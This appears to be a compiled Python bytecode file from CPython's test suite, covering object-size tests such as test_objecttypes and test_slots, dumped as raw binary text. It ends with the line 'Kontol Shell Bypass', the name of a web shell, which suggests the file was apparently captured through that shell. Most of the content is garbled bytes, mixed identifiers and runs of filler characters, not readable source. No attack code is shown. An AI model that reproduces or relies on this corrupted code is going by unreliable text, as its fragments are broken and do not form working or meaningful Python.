}%n<|$dWk�r��|"�d!t|�d
}%n�|"�d#t|�d
}%�||%��q@tLdX�}�|�|"�d#�tM|dYdZ��|�|"�d#d#�ddlN}&�|&�Ot��d[���|&�Pt��d[��dS)\NTrZ5PrL�ui��Zn2PiZnPrcrAs
xxxxxxxxxxr�csd��fdd�}|S)Nrcs�Sr!rr�rrr�innerosz<SizeofTest.test_objecttypes.<locals>.get_cell.<locals>.innerr)r�rr�r�get_cellmsz-SizeofTest.test_objecttypes.<locals>.get_cellrr�cs��t�|�|�dSr!)r�r	r�)r`Z
expected_sizerIrr�check_code_sizetsz4SizeofTest.test_objecttypes.<locals>.check_code_sizeZ6i13Pcs�fdd�}|S)Ncs�Sr!rrr�rrr�ysz=SizeofTest.test_objecttypes.<locals>.get_cell2.<locals>.innerr)rr�rr�r�	get_cell2xsz.SizeofTest.test_objecttypes.<locals>.get_cell2Z2dZ3PPPZ3PPZ3P2PZ2PZnQ2Pr`Z2nP2nr�r�Zn2Pr�r}r~��)rAr�r}r~r�r�r�r�rmrlZP2nPnc@seZdZdS)�&SizeofTest.test_objecttypes.<locals>.CN�r(r)r*rrrrre�rLreZ5Pbz	5Pb 2P2nPZ32B2iBZn3Pr��Z	5P2c4P3icZ3icSsdSr!rrrrr�func�rLz)SizeofTest.test_objecttypes.<locals>.funcZ13Pcs@eZdZedd��Zedd��Z�e�d���e�d��dS)z&SizeofTest.test_objecttypes.<locals>.ccSsdSr!rrrrr�foo�sz*SizeofTest.test_objecttypes.<locals>.c.foocSsdSr!r)�clsrrr�bar�sz*SizeofTest.test_objecttypes.<locals>.c.barZPPN)r(r)r*�staticmethodr��classmethodr�r�r�r�rrr��s

r�css
dVdS)NrArrrrr�get_gen�rLz,SizeofTest.test_objecttypes.<locals>.get_genZPb2PPP4PrZlP)rAr�r})rB�2�3r�r�ZPnPPPcs@eZdZdd�Zdd�Zdd�Zeeeed�Z�e�d��d	S)
r�cSs|jSr!�Z_C__xrIrrr�getx�rLz+SizeofTest.test_objecttypes.<locals>.C.getxcSs
||_dSr!r�)r�valuerrr�setx�rLz+SizeofTest.test_objecttypes.<locals>.C.setxcSs|`dSr!r�rIrrr�delx�rLz+SizeofTest.test_objecttypes.<locals>.C.delxrZ4PiN)r(r)r*r�r�r��propertyrrr�rrre�s
Z4lZ4Pi�rnZ3nPZ2nPZP3n�3PrZP2nPI13Pl4Pn9Pn11PIPPZ3P36P3P10P2P5Pc@seZdZdS)z2SizeofTest.test_objecttypes.<locals>.newstyleclassNr�rrrr�
newstyleclass/rLr�Z2nP2n0P)Zd1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111udÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿuPĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀĀu,￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿ux𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀𐀀u�􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿􏿿ZnnbPZnPnr��ii@z<stdin>rZ2Pn2P)Qr�r�rCr�calcobjsizer��check_sizeofr�r��	bytearray�	__alloc__�iter�__closure__r��complexr^ro�datetimeZ	timedeltaZdays�collections�defaultdict�default_factoryr��__add__�__iter__�keys�values�itemsr��__dict__�
BaseException�UnicodeEncodeError�UnicodeDecodeError�UnicodeTranslateError�EllipsisrRZencodings.iso8859_3�
charmap_build�	iso8859_3Zdecoding_tabler��reversed�floatr	r�r�r�currentframer��co_cellvars�co_freevars�co_stacksize�
co_nlocals�re�finditerr�r�r�r��NotImplementedr�r��	frozenset�slice�superr`r|r�r��erk�g�h�ord�max�chrr�weakref�ref�proxy)'rr�r�Zsamples�samplerr�r�r�r�r�ZlongdictrerR�	encodingsrZCO_MAXBLOCKSZncellsZnfrees�extrasr�r�r�r
ZPyLong_BASEZ
PySet_MINSIZErZminused�tmpZnewsize�fmtr��oZasciifieldsZ
compactfieldsZ
unicodefieldsZmaxchar�Lr��	__class__)r�rr�r�test_objecttypesVs**& ���"$$ 	


�"0"


zSizeofTest.test_objecttypescCsHt�|�t�|�}t�|�r2t�|�s2||j7}|�t�|�|�dSr!)r	r�r�r�r{Z
is_trackedr�r)rr$�base�extrarSrrr�check_slots`s
zSizeofTest.check_slotsc	Cs�|j}Gdd�dt�}||�t�d�Gdd�dt�}||gd�dgid�Gdd	�d	t�}||�gd�Gd
d�dt�}||�t�d�Gdd
�d
t�}||�t�d�ddlm}Gdd�d|�}||gd�|gd�d�dS)Nc@seZdZdZdS)z!SizeofTest.test_slots.<locals>.BA�r`r|r�N�r(r)r*�	__slots__rrrr�BAjsr,r�c@seZdZdZdS)z SizeofTest.test_slots.<locals>.Dr)Nr*rrrr�Dmsr-r�rc@seZdZdZdS)z SizeofTest.test_slots.<locals>.Lr)Nr*rrrrr"psr"c@seZdZdZdS)z SizeofTest.test_slots.<locals>.Sr)Nr*rrrrrssrc@seZdZdZdS)z!SizeofTest.test_slots.<locals>.FSr)Nr*rrrr�FSvsr.r)�OrderedDictc@seZdZdZdS)z!SizeofTest.test_slots.<locals>.ODr)Nr*rrrr�ODzsr0)r(r�r>r�r�rr�r/)	rr�r,r-r"rr.r/r0rrr�
test_slotsfszSizeofTest.test_slotscCs�tjj}tjj}|j}ddl}||��|d��zt�Wn4tylt�	�d}|durh|||d��Yn0|tj
|d�|jttj
��dS)Nrr�r�Z2P2ir)
rCrr�r�r��_astZASTrr	r/r)r�r�)rr�r�r�r2�tbrrr�test_pythontypes~szSizeofTest.test_pythontypescCs�t��}|�|j�|�|j�dd�}tj|d�t��}|�|j|�|�|d|�|�|jd�|�|dd�dd�}tj|d�t��}|�|j|�|�|d|�|�|j|�|�|d|�tj|�t��}|�|j�|�|j�dS)NcWsdSr!r�r`rrr�<lambda>�rLz0SizeofTest.test_asyncgen_hooks.<locals>.<lambda>)�	firstiterrrAcWsdSr!rr5rrrr6�rL)�	finalizer)r	�get_asyncgen_hooksrXr7r8�set_asyncgen_hooksry)r�oldr7Zhooksr8Zcurrrr�test_asyncgen_hooks�s*
zSizeofTest.test_asyncgen_hookscCs6t�d�}td|�\}}}|�|d�|�|d�dS)Nz�
            import sys
            class MyStderr:
                def write(self, s):
                    sys.stderr = None
            sys.stderr = MyStderr()
            1/0
        rKrL)r�r�rrr�rrr�/test_changing_sys_stderr_and_removing_reference�s
z:SizeofTest.test_changing_sys_stderr_and_removing_reference)r(r)r*r�rCrr�r�r�r�r%r(r1r4r<r=�
__classcell__rrr#rr�s	r��__main__)rCrrqrrr
rRr{r`r�r?r�r�r	r�Ztest.supportr�r�r9rZTestCaserr+rGr�r�r�r(�mainrrrr�<module>sD/(<x 


Kontol Shell Bypass